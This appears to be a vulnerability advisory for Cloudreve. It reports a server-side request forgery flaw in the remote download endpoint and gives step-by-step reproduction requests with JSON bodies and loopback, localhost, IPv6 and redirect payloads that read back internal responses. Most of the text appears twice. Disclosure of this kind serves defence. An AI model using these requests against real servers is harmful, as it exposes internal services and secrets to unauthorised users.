Summary
Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.
When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files.
This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.
Attacker requirements
The attacker must be:
- authenticated
- non-admin
- in a user group where
GroupPermissionRemoteDownload is enabled
Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default User group does not.
Affected endpoint
POST /api/v4/workflow/download
Follow-up attacker readback was performed through normal workflow and file APIs:
GET /api/v4/workflow?category=downloaded...
GET /api/v4/file?uri=cloudreve://my...
POST /api/v4/file/url
Root cause
The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.
Relevant code paths:
service/explorer/workflows.go:81pkg/filemanager/workflows/remote_download.go:202pkg/downloader/aria2/aria2.go:56
The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.
Impact
A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.
In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files.
Confirmed targets:
http://127.0.0.1:7777/secret2http://localhost:7777/localsecrethttp://[::1]:7780/v6secret- redirect to
http://127.0.0.1:7777/redirsecret
This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.
Reproduction
1. Permission negative control
The attacker is a normal non-admin user in the default User group.
Before enabling remote download for the group:
POST /api/v4/workflow/download
Content-Type: application/json
{"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"}Response:
{"code":40007,"msg":"Group not allowed to download files"}2. Enable only remote download permission for the non-admin group
The default install grants remote download to the admin group only. The default User group does not have it.
Confirmed in:
inventory/migration.go:154inventory/migration.go:179
For this test, I only changed group 2 permissions from:
hAg=
to:
hAo=
The attacker remained in the User group and was not made admin. GET /api/v4/user/me still returned the group name as User.
3. Start an internal listener
Example listener on the Cloudreve host:
127.0.0.1:7777
The listener returned a marker response:
SSRF_SECRET_2_20260527
4. Queue a remote download to loopback
POST /api/v4/workflow/download
Content-Type: application/json
{"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"}Response:
{"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]}The internal listener received the request:
127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 -
Aria2 completed the download:
Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2
5. Read the imported internal response as the attacker
The task completed successfully:
{"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}}The attacker could list the imported file:
{"name":"secret2","path":"cloudreve://my/secret2"}The attacker could then download and read the response body:
SSRF_SECRET_2_20260527
Additional validated variants
localhost
Input:
http://localhost:7777/localsecret
Attacker readback:
LOCALHOST_SECRET_20260527
Redirect to loopback
Input:
http://127.0.0.1:7779/anything
Redirect:
302 Location: http://127.0.0.1:7777/redirsecret
Attacker readback:
REDIR_SECRET_20260527
IPv6 localhost
Input:
http://[::1]:7780/v6secret
Attacker readback:
IPV6_SECRET_20260527
Expected behavior
Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.
Redirect targets should be checked with the same policy.
Actual behavior
Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.
References
Summary
Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.
When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files.
This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.
Attacker requirements
The attacker must be:
GroupPermissionRemoteDownloadis enabledDefault normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default
Usergroup does not.Affected endpoint
Follow-up attacker readback was performed through normal workflow and file APIs:
Root cause
The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.
Relevant code paths:
service/explorer/workflows.go:81pkg/filemanager/workflows/remote_download.go:202pkg/downloader/aria2/aria2.go:56The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.
Impact
A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.
In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files.
Confirmed targets:
http://127.0.0.1:7777/secret2http://localhost:7777/localsecrethttp://[::1]:7780/v6secrethttp://127.0.0.1:7777/redirsecretThis can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.
Reproduction
1. Permission negative control
The attacker is a normal non-admin user in the default
Usergroup.Before enabling remote download for the group:
Response:
{"code":40007,"msg":"Group not allowed to download files"}2. Enable only remote download permission for the non-admin group
The default install grants remote download to the admin group only. The default
Usergroup does not have it.Confirmed in:
inventory/migration.go:154inventory/migration.go:179For this test, I only changed group 2 permissions from:
to:
The attacker remained in the
Usergroup and was not made admin.GET /api/v4/user/mestill returned the group name asUser.3. Start an internal listener
Example listener on the Cloudreve host:
The listener returned a marker response:
4. Queue a remote download to loopback
Response:
{"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]}The internal listener received the request:
Aria2 completed the download:
5. Read the imported internal response as the attacker
The task completed successfully:
{"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}}The attacker could list the imported file:
{"name":"secret2","path":"cloudreve://my/secret2"}The attacker could then download and read the response body:
Additional validated variants
localhost
Input:
Attacker readback:
Redirect to loopback
Input:
Redirect:
Attacker readback:
IPv6 localhost
Input:
Attacker readback:
Expected behavior
Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.
Redirect targets should be checked with the same policy.
Actual behavior
Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.
References